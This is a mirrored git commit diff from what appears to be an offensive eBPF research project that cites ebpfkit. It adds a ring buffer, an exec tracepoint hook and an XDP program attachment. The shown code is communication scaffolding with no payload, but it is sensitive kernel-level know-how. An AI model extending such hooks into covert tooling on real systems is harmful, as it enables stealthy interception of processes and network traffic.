mirror of
https://github.com/h3xduck/TripleCross.git
synced 2025-12-20 16:53:07 +08:00
Added more communication utils between userspace and kernel:
* Included maps and kernel ring buffer communication * Extended the ebpf structure to include more modules * New utils in both user and kernelspace * Other changes * This update precedes a great effort on researching and learning and linux kernel tracing and studing ebpfkit from defcon. More functionalities should come rather quickly now.
This commit is contained in:
5
.vscode/settings.json
vendored
5
.vscode/settings.json
vendored
@@ -1,5 +1,8 @@
|
|||||||
{
|
{
|
||||||
"files.associations": {
|
"files.associations": {
|
||||||
"time.h": "c"
|
"time.h": "c",
|
||||||
|
"constants.h": "c",
|
||||||
|
"pkt_cls.h": "c",
|
||||||
|
"map_defs.h": "c"
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
Binary file not shown.
Binary file not shown.
File diff suppressed because it is too large
Load Diff
Binary file not shown.
@@ -9,7 +9,7 @@
|
|||||||
#include <netdb.h>
|
#include <netdb.h>
|
||||||
#include <stdlib.h>
|
#include <stdlib.h>
|
||||||
|
|
||||||
#include "../constants/constants.h"
|
#include "../common/constants.h"
|
||||||
|
|
||||||
// For printing with colors
|
// For printing with colors
|
||||||
#define KGRN "\x1B[32m"
|
#define KGRN "\x1B[32m"
|
||||||
|
|||||||
36
src/common/map_defs.h
Normal file
36
src/common/map_defs.h
Normal file
@@ -0,0 +1,36 @@
|
|||||||
|
#ifndef __MAP_DEFS_H
|
||||||
|
#define __MAP_DEFS_H
|
||||||
|
|
||||||
|
#define RB_EVENT_MAX_MESSAGE_SIZE 512
|
||||||
|
|
||||||
|
typedef enum {
|
||||||
|
INFO,
|
||||||
|
DEBUG,
|
||||||
|
EXIT,
|
||||||
|
ERROR
|
||||||
|
} event_type_t;
|
||||||
|
|
||||||
|
struct rb_event {
|
||||||
|
int pid;
|
||||||
|
char message[RB_EVENT_MAX_MESSAGE_SIZE];
|
||||||
|
int code;
|
||||||
|
event_type_t event_type;
|
||||||
|
};
|
||||||
|
|
||||||
|
|
||||||
|
//sched_process_exec tracepoint contents
|
||||||
|
struct trace_entry {
|
||||||
|
short unsigned int type;
|
||||||
|
unsigned char flags;
|
||||||
|
unsigned char preempt_count;
|
||||||
|
int pid;
|
||||||
|
};
|
||||||
|
struct trace_event_raw_sched_process_exec {
|
||||||
|
struct trace_entry ent;
|
||||||
|
unsigned int __data_loc_filename;
|
||||||
|
int pid;
|
||||||
|
int old_pid;
|
||||||
|
char __data[0];
|
||||||
|
};
|
||||||
|
|
||||||
|
#endif
|
||||||
68
src/ebpf/include/bpf/fs.h
Normal file
68
src/ebpf/include/bpf/fs.h
Normal file
@@ -0,0 +1,68 @@
|
|||||||
|
#ifndef __FS_H
|
||||||
|
#define __FS_H
|
||||||
|
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <linux/types.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
#include <string.h>
|
||||||
|
|
||||||
|
#include <linux/bpf.h>
|
||||||
|
#include <bpf/bpf_helpers.h>
|
||||||
|
#include <bpf/bpf_tracing.h>
|
||||||
|
#include <bpf/bpf_core_read.h>
|
||||||
|
|
||||||
|
#include "../common/constants.h"
|
||||||
|
#include "../common/map_defs.h"
|
||||||
|
|
||||||
|
#define RING_BUFFER_MAX_ELEMS 256
|
||||||
|
//Ring buffer - For communication ebpf -> userspace
|
||||||
|
struct {
|
||||||
|
__uint(type, BPF_MAP_TYPE_RINGBUF);
|
||||||
|
__uint(max_entries, RING_BUFFER_MAX_ELEMS * 1024); //Multiple struct rb_event(s) must fit here
|
||||||
|
} rb_comm SEC(".maps");
|
||||||
|
|
||||||
|
//BPF map
|
||||||
|
/*struct {
|
||||||
|
__uint(type, BPF_MAP_TYPE_HASH);
|
||||||
|
__uint(max_entries, 8192);
|
||||||
|
__type(key, pid_t);
|
||||||
|
__type(value, char[5]);
|
||||||
|
} exec_start SEC(".maps");*/
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @brief A kthread is started in the kernel (a new program)
|
||||||
|
* @ref https://elixir.bootlin.com/linux/latest/source/include/trace/events/sched.h#L397
|
||||||
|
*/
|
||||||
|
SEC("tp/sched/sched_process_exec")
|
||||||
|
int handle_exec(struct trace_event_raw_sched_process_exec *ctx){
|
||||||
|
struct task_struct *task;
|
||||||
|
unsigned fname_off;
|
||||||
|
struct rb_event *e;
|
||||||
|
pid_t pid;
|
||||||
|
int ts;
|
||||||
|
|
||||||
|
pid = bpf_get_current_pid_tgid() >> 32;
|
||||||
|
ts = bpf_ktime_get_ns();
|
||||||
|
|
||||||
|
/* reserve sample from BPF ringbuf */
|
||||||
|
e = bpf_ringbuf_reserve(&rb_comm, sizeof(*e), 0);
|
||||||
|
if (!e){
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
e->pid = pid;
|
||||||
|
e->event_type = INFO;
|
||||||
|
e->code = 0;
|
||||||
|
|
||||||
|
char* message = "HOLA\0";
|
||||||
|
bpf_probe_read_str(&e->message, sizeof(message), message);
|
||||||
|
|
||||||
|
/* successfully submit it to user-space for post-processing */
|
||||||
|
bpf_ringbuf_submit(e, 0);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
#endif
|
||||||
|
|
||||||
@@ -1,4 +1,4 @@
|
|||||||
//#include "newvmlinux.h"
|
//Linux system includes
|
||||||
#include <unistd.h>
|
#include <unistd.h>
|
||||||
#include <stdbool.h>
|
#include <stdbool.h>
|
||||||
#include <linux/tcp.h>
|
#include <linux/tcp.h>
|
||||||
@@ -15,36 +15,27 @@
|
|||||||
#include <linux/ip.h>
|
#include <linux/ip.h>
|
||||||
#include <linux/udp.h>
|
#include <linux/udp.h>
|
||||||
|
|
||||||
|
//BPF & libbpf dependencies
|
||||||
#include <linux/bpf.h>
|
#include <linux/bpf.h>
|
||||||
#include <bpf/bpf_helpers.h>
|
#include <bpf/bpf_helpers.h>
|
||||||
#include <bpf/bpf_tracing.h>
|
#include <bpf/bpf_tracing.h>
|
||||||
#include <bpf/bpf_core_read.h>
|
#include <bpf/bpf_core_read.h>
|
||||||
|
|
||||||
|
//User-kernel dependencies
|
||||||
#include "../user/include/xdp_filter.h"
|
#include "../user/include/xdp_filter.h"
|
||||||
#include "../constants/constants.h"
|
#include "../common/constants.h"
|
||||||
|
|
||||||
|
//BPF exclusive includes
|
||||||
#include "packet/packet_manager.h"
|
#include "packet/packet_manager.h"
|
||||||
#include "packet/protocol/tcp_helper.h"
|
#include "packet/protocol/tcp_helper.h"
|
||||||
#include "xdp/xdp_helper.h"
|
#include "xdp/xdp_helper.h"
|
||||||
#include "common/common_utils.h"
|
#include "common/common_utils.h"
|
||||||
|
|
||||||
|
//BPF modules to load
|
||||||
|
#include "include/bpf/fs.h"
|
||||||
|
|
||||||
char LICENSE[] SEC("license") = "Dual BSD/GPL";
|
char LICENSE[] SEC("license") = "Dual BSD/GPL";
|
||||||
|
|
||||||
//BPF map
|
|
||||||
/*struct {
|
|
||||||
__uint(type, BPF_MAP_TYPE_HASH);
|
|
||||||
__uint(max_entries, 8192);
|
|
||||||
__type(key, pid_t);
|
|
||||||
__type(value, char[5]);
|
|
||||||
} exec_start SEC(".maps");*/
|
|
||||||
|
|
||||||
//Ring buffer
|
|
||||||
/*struct {
|
|
||||||
__uint(type, BPF_MAP_TYPE_RINGBUF);
|
|
||||||
__uint(max_entries, 256 * 1024);
|
|
||||||
} rb SEC(".maps");*/
|
|
||||||
|
|
||||||
//Ethernet frame struct
|
//Ethernet frame struct
|
||||||
struct eth_hdr {
|
struct eth_hdr {
|
||||||
unsigned char h_dest[ETH_ALEN];
|
unsigned char h_dest[ETH_ALEN];
|
||||||
|
|||||||
@@ -58,8 +58,7 @@ int print_entry(const char *filepath, const struct stat *info, const int typefla
|
|||||||
printf(" %s (dangling symlink)\n", filepath);*/
|
printf(" %s (dangling symlink)\n", filepath);*/
|
||||||
else
|
else
|
||||||
if (typeflag == FTW_F)
|
if (typeflag == FTW_F)
|
||||||
1+1;
|
printf(" %s\n", filepath);
|
||||||
//printf(" %s\n", filepath);
|
|
||||||
/*else
|
/*else
|
||||||
if (typeflag == FTW_D || typeflag == FTW_DP)
|
if (typeflag == FTW_D || typeflag == FTW_DP)
|
||||||
printf(" %s/\n", filepath);
|
printf(" %s/\n", filepath);
|
||||||
|
|||||||
@@ -9,8 +9,10 @@
|
|||||||
#include <unistd.h>
|
#include <unistd.h>
|
||||||
|
|
||||||
#include "xdp_filter.skel.h"
|
#include "xdp_filter.skel.h"
|
||||||
|
|
||||||
#include "include/xdp_filter.h"
|
#include "include/xdp_filter.h"
|
||||||
#include "../constants/constants.h"
|
#include "../common/constants.h"
|
||||||
|
#include "../common/map_defs.h"
|
||||||
#include "include/utils/files/path.h"
|
#include "include/utils/files/path.h"
|
||||||
#include "include/utils/strings/regex.h"
|
#include "include/utils/strings/regex.h"
|
||||||
#include "include/utils/structures/fdlist.h"
|
#include "include/utils/structures/fdlist.h"
|
||||||
@@ -63,39 +65,56 @@ static void sig_handler(int sig){
|
|||||||
exiting = true;
|
exiting = true;
|
||||||
}
|
}
|
||||||
|
|
||||||
/*static int handle_event(void *ctx, void *data, size_t data_sz){
|
/**
|
||||||
const struct event *e = data;
|
* @brief Manages an event received via the ring buffer
|
||||||
|
* It's a message from th ebpf program
|
||||||
|
*
|
||||||
|
* @param ctx
|
||||||
|
* @param data
|
||||||
|
* @param data_sz
|
||||||
|
* @return int
|
||||||
|
*/
|
||||||
|
static int handle_rb_event(void *ctx, void *data, size_t data_size){
|
||||||
|
const struct rb_event *e = data;
|
||||||
|
|
||||||
|
//For time displaying
|
||||||
struct tm *tm;
|
struct tm *tm;
|
||||||
char ts[32];
|
char ts[32];
|
||||||
time_t t;
|
time_t t;
|
||||||
|
|
||||||
time(&t);
|
time(&t);
|
||||||
tm = localtime(&t);
|
tm = localtime(&t);
|
||||||
strftime(ts, sizeof(ts), "%H:%M:%S", tm);
|
strftime(ts, sizeof(ts), "%H:%M:%S", tm);
|
||||||
|
|
||||||
printf("NEW: %s\n",
|
|
||||||
e->payload);
|
if(e->event_type == INFO){
|
||||||
|
printf("%s INFO pid:%d code:%i, msg:%s\n", ts, e->pid, e->code, e->message);
|
||||||
|
}else if(e->event_type == DEBUG){
|
||||||
|
|
||||||
|
}else if(e->event_type == ERROR){
|
||||||
|
|
||||||
|
}else if(e->event_type == EXIT){
|
||||||
|
|
||||||
|
}else{
|
||||||
|
printf("UNRECOGNIZED RB EVENT RECEIVED");
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
return 0;
|
return 0;
|
||||||
}*/
|
}
|
||||||
|
|
||||||
|
|
||||||
int main(int argc, char**argv){
|
int main(int argc, char**argv){
|
||||||
//struct ring_buffer *rb = NULL;
|
struct ring_buffer *rb = NULL;
|
||||||
struct xdp_filter_bpf *skel;
|
struct xdp_filter_bpf *skel;
|
||||||
int err;
|
int err;
|
||||||
|
|
||||||
|
//Ready to be used
|
||||||
|
/*for (int arg = 1; arg < argc; arg++) {
|
||||||
for (int arg = 1; arg < argc; arg++) {
|
|
||||||
if (load_fd_kmsg(argv[arg])) {
|
if (load_fd_kmsg(argv[arg])) {
|
||||||
fprintf(stderr, "%s.\n", strerror(errno));
|
fprintf(stderr, "%s.\n", strerror(errno));
|
||||||
return EXIT_FAILURE;
|
return EXIT_FAILURE;
|
||||||
}
|
}
|
||||||
}
|
}*/
|
||||||
|
|
||||||
//int res = regex_match_fd("/proc/12/fd/1");
|
|
||||||
//printf("Returned %i\n", res);
|
|
||||||
|
|
||||||
unsigned int ifindex;
|
unsigned int ifindex;
|
||||||
|
|
||||||
@@ -159,23 +178,40 @@ int main(int argc, char**argv){
|
|||||||
goto cleanup;
|
goto cleanup;
|
||||||
}
|
}
|
||||||
|
|
||||||
// Attach tracepoints
|
// Attach tracepoint for
|
||||||
/*err = xdp_filter_bpf__attach(skel);
|
err = xdp_filter_bpf__attach(skel);
|
||||||
if (err) {
|
if (err) {
|
||||||
fprintf(stderr, "Failed to attach BPF skeleton\n");
|
fprintf(stderr, "Failed to attach BPF skeleton\n");
|
||||||
goto cleanup;
|
goto cleanup;
|
||||||
}*/
|
}
|
||||||
|
|
||||||
//Attack BPF program to network interface
|
//Attack BPF program to network interface
|
||||||
int flags = XDP_FLAGS_SKB_MODE;
|
int flags = XDP_FLAGS_SKB_MODE;
|
||||||
int fd = bpf_program__fd(skel->progs.xdp_receive);
|
int fd = bpf_program__fd(skel->progs.xdp_receive);
|
||||||
err = bpf_set_link_xdp_fd(ifindex, fd, flags);
|
err = bpf_set_link_xdp_fd(ifindex, fd, flags);
|
||||||
|
|
||||||
|
/* Set up ring buffer polling */
|
||||||
|
rb = ring_buffer__new(bpf_map__fd(skel->maps.rb_comm), handle_rb_event, NULL, NULL);
|
||||||
|
if (!rb) {
|
||||||
|
err = -1;
|
||||||
|
fprintf(stderr, "Failed to create ring buffer\n");
|
||||||
|
goto cleanup;
|
||||||
|
}
|
||||||
|
|
||||||
|
//Now wait for messages from ebpf program
|
||||||
printf("Filter set and ready\n");
|
printf("Filter set and ready\n");
|
||||||
while (!exiting) {
|
while (!exiting) {
|
||||||
/* trigger our BPF program */
|
err = ring_buffer__poll(rb, 100 /* timeout, ms */);
|
||||||
fprintf(stderr, ".");
|
|
||||||
sleep(1);
|
//Checking if a signal occured
|
||||||
|
if (err == -EINTR) {
|
||||||
|
err = 0;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
if (err < 0) {
|
||||||
|
printf("Error polling ring buffer: %d\n", err);
|
||||||
|
break;
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
//Received signal to stop, detach program from network interface
|
//Received signal to stop, detach program from network interface
|
||||||
@@ -184,6 +220,7 @@ int main(int argc, char**argv){
|
|||||||
|
|
||||||
|
|
||||||
cleanup:
|
cleanup:
|
||||||
|
ring_buffer__free(rb);
|
||||||
xdp_filter_bpf__destroy(skel);
|
xdp_filter_bpf__destroy(skel);
|
||||||
|
|
||||||
return err < 0 ? -err : 0;
|
return err < 0 ? -err : 0;
|
||||||
|
|||||||
Reference in New Issue
Block a user